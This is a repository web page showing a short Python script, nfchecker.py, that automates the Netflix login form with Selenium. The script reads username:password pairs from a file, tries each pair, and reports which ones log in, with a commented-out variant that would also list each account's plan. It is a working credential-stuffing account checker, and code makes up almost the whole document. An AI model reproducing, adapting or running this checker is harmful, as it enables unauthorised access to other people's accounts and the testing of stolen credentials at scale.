dotfiles

My personal shell configs and stuff
git clone git://git.alex.balgavy.eu/dotfiles.git
Log | Files | Refs | Submodules | README | LICENSE

nfchecker.py (1166B)


      1 from selenium import webdriver
      2 import time
      3 from bs4 import BeautifulSoup
      4 
      5 driver = webdriver.Chrome()
      6 
      7 
      8 def check(user, password):
      9     """check if the combination works"""
     10     driver.get("https://www.netflix.com/nl-en/login")
     11     user_elem = driver.find_element_by_name("userLoginId")
     12     password_elem = driver.find_element_by_name("password")
     13     button_elem = driver.find_element_by_class_name("login-button")
     14 
     15     user_elem.clear()
     16     password_elem.clear()
     17 
     18     user_elem.send_keys(user)
     19     password_elem.send_keys(password)
     20     button_elem.click()
     21 
     22     time.sleep(2)
     23 
     24     user_elem = driver.find_element_by_name("userLoginId")
     25     if user_elem.is_displayed():
     26         print("Incorrect")
     27     else:
     28         print("Correct")
     29     #  parse = BeautifulSoup(driver.page_source, 'html5lib')
     30     #  for h3 in parse.find_all('h3', {'class': "product-name"}):
     31         #  print('{}:{}:{}'.format(user, password, h3.get_text()))
     32 
     33     driver.delete_all_cookies()
     34 
     35 with open('./accounts') as s:
     36     for line in s:
     37         users, passwords = line.split(':')
     38         check(users.strip(), passwords.strip())
     39     driver.delete_all_cookies()
     40     driver.close()
     41     driver.quit()